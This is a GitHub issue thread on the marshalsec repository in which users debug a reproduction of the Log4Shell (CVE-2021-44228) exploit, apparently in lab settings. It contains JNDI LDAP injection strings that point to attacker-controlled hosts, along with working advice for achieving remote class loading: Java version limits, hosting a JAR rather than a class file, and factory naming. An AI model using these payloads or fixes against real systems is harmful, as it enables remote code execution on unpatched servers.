-
Notifications
You must be signed in to change notification settings - Fork 682
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Marshalsec and webserver do not communicate #28
Comments
It is only suitable for a few scenes, not for most scenes |
oh,That is, the Java version is not applicable and needs to be deserialized |
I am having the same issue, for me, the "Send LDAP reference result for Log4jRCE redirecting to myAddress:port/Log4JRCE.class" comes up three times and the python server with the .class file doesn't get a GET request. |
Not yet solved for me. I'm using Java 1.8_0_181 on the attack machine, not a java version issue. |
Same. Seems like the LDAP reference doesn't actually take place. Marshalsec:
http server:
|
Is the version of the target host and needs to be by pass |
I'm using JDK 8u181 across the board, starting with the exploitable target workload, the LDAP referrer (marshalsec), and the payload class was compiled with JDK 8u181 (however irrelevant since the http server doesn't receive the GET). |
Also i think the same, because the payload is working and the LDAP server is contacted, the problem is when the request must be forwarded from LDAP server to HTTP server, that for my setting are on the same machine, no firewall, no restrictions. |
I'm in the same boat. I've read mbechler's PSA and I don't really see what we could be missing |
Curious why that wasn't necessary here: https://youtu.be/7qoPDq41xhQ?t=1016 |
So have you solved the issue? |
When targeting 8u181 this should work out of the box in my opinion. Regular Oracle/OpenJDK runtime? Security manager? How do you start the server? |
@mbechler works with 8u181 thanks :) |
Here's my setup: The LDAP Server is started with the following syntax: The HTTP Server is started with the following syntax: i'm on a centos7, for the test i have disabled selinux and firewalld |
Try ${jndi:ldap://192.168.178.253:1389/cn=Log4jRCE} |
@mbechler I tried ${jndi:ldap://192.168.71.130:7979/cn=Exploit} this and result is the same. Not redirecting. |
cn=Log4jRCE
No DN at all:
However, still no outbound connection made to HTTP server. |
Hm, that sound like unbound is still unhappy about the DN, maybe ${jndi:ldap://192.168.178.253:1389/cn=Log4jRCE,dc=example,dc=com} |
If it helps I've only seen this when running an apache solr "as an example" on windows, running newer versions of java. It works fine with 181 |
I have the same issue, but sovled aftert I read this on API doc: |
Same issue. java 8u181 |
@allenz92 thanks for the pointer, I did never try to figure out why that was not working in that case. For every one else still having issues after considering all the mentioned conditions, it would be certainly interesting to figure out why that fails. You could debug the target process, the following call stack (this one is 8u181) would be the relevant part:
|
log4j 2.15 btw also moved to a getAttribute call instead of lookup, this also prevents following the Reference. |
Appreciate the discussion thus far. I'm just not sure what exactly need to be changed.
Does this mean ensuring that the codebase string provided marshalsec ends with a "/" just before the "#"? In such a case, I've been doing this all along ("http://localhost:8889
No GET:
|
Yes, the call looks good. |
Do we consider the LDAP query result error problematic in this case? Or is this expected behavior even when the remote class is properly sourced from the remote codebase? |
Hadn't checked yet, but no this does not seem to be the issue, I also see these in successful exploitation. Edit: The observed error is just the original status set by unbound the setResult call afterwards clears that. |
having exactly the same issues as @kenmccann |
@dextacy10-13 apparently the LDAP error expected. Still not quite sure why the outbound connection is not occurring. |
Just to reiterate and rule out potential misunderstandings, the direct factory remote classloading vector (in default configuration) will only work if the Java runtime performing the JNDI lookup, i.e. the exploited target, is running Java <8u191. (The version you run LDAPRefServer on does not matter). If this is the case, then really, debugging the target is likely the only reasonable way to figure out what is happening. |
Actually it only checks getAttributes for the class filter, but then if the Name matches (on the java class Attribute which is of course not safe to check) it still uses lookup()) |
Ah, right, missed that. Thanks for pointing that out. |
your java verison should be lower than java8-u121 , otherwise the server will not request the http server. because a new option trustURLCodebase(default false) has been added to the higher version java. |
John uses 8u181 across the board in his video and it seems to work fine. Is he full of it? https://youtu.be/7qoPDq41xhQ?t=1016 |
No 8u181 should still work with LDAP, u121 ist just relevant for RMI/CORBA. |
Had a look: The debian u181 build (build 1.8.0_181-8u181-b13-2~deb9u1-b13) used by the openjdk u181 docker image has a backported security patch (patches/sec-webrev-8u191-b12-S8199177-jdk.patch) |
Also, specifying http://127.0.0.1:1763/, if you haven't disabled network namespacing, likely is not working as you intended. openjdk:8u181-alpine works,btw. |
Hi, I'm also experiencing this error. I debugged as far as I could and I land in this native method call in the end:
The return value I get is:
I see no GET request on the webserver listening on port 8081, so I assume the name format is just wrong. Maybe this helps narrowing it down? Best regards |
Although the name is strange, that also does not seem to be the correct location as it's the wrong classloader. Do you have a stacktrace? |
I think I'm just filling the LDAP response wrong. This is my setup:
I see no traffic towards port 8081 at all with Wireshark. So I think something is failing in the validation for the class loading, but I cannot figure out what it is. |
Yes, javaFactory should just be the classname |
You're absolutely right, now the download is triggered. However the class is still not executed. If I put the class on the classpath manually I see the execution, so the class itself is fine. These are my parameters now:
My log string: ${jndi:ldap://127.0.0.1:1389/Attack} I removed Java packages because I felt they were only making things harder. I debugged into the URLClassLoader, and indeed the URL shows up, however the class is not loaded. P.S.: I found a way to debug some of the JNDI stuff, this is the exception shown:
P.P.S: I found the solution - you have to provide a JAR, not the class file itself. Eventually I might post my code on https://github.com/ndrsf/log4shell in case somebody else wants to see more details. Thanks a lot for your support and merry Christmas! |
There is some magic to having a trailing slash at the URL or not: #28 (comment) |
@daniomass did it work for you in the end ? |
I'm using this exact same command on 8u181 and I'm getting the same result (This is on macOS btw). I've tried the proposed fixes from this thread but I still haven't managed to get my LDAP server to communicate with my HTTP. I have no trouble reaching the LDAP server via my vulnerable app. Vulnerable App:
Exploit:
|
Interestingly, I can get the request to show up when the requested class does not exist. See screenshots below: |
I had to provide a Jar file with my webserver, not the class file directly. I suggest not using any Java packages for the exploit class, this way you can just zip the class file, rename the zip to jar and host this file. |
@kaleidoscoperope I think you should change your target app. Try with this version of Ghidra : https://github.com/NationalSecurityAgency/ghidra/releases/tag/Ghidra_10.0.3_build And lauch it with Java SE Development Kit 11, at the end of this link : https://www.oracle.com/fr/java/technologies/javase/jdk11-archive-downloads.html You can put the payload string here : |
@ndrsf @JonathanAppriou thanks for the suggestions! I think it wasn't working properly because my vulnerable app and my exploit were in the same project. Separating them gives me the intended results. |
I just tried to put my vulnerable app in a virtual machine and tried using marshalsec to deliver my exploit to it. I got the same issue where the LDAP server receives the request but fails to redirect to the HTTP server. It works perfectly when the app is on my host machine, though. Do you have any idea what might be wrong? |
It's your JAVA version |
That was the issue; thank you! |
The bug was fixed in later version of JDK, so use version like 8u112. I resolved the problem by changing to that version. |
I'm trying to reproduce the exploit of CVE-2021-44228.
All is done and when i run the request, the LDAP server shows me
"Send LDAP reference result for Log4jRCE redirecting to myAddress:port/Log4JRCE.class"
but the python server does not shows the GET request and the code into the Log4jRCE.class is not fetched from the target machine.
The server is correctly up, and the link myAddress:port/Log4jRCE.class redirects me to the binary code correctly.
it seems that marshalsec tool and python webserver does not communicates.
What it could be??
Thank you for the support
The text was updated successfully, but these errors were encountered: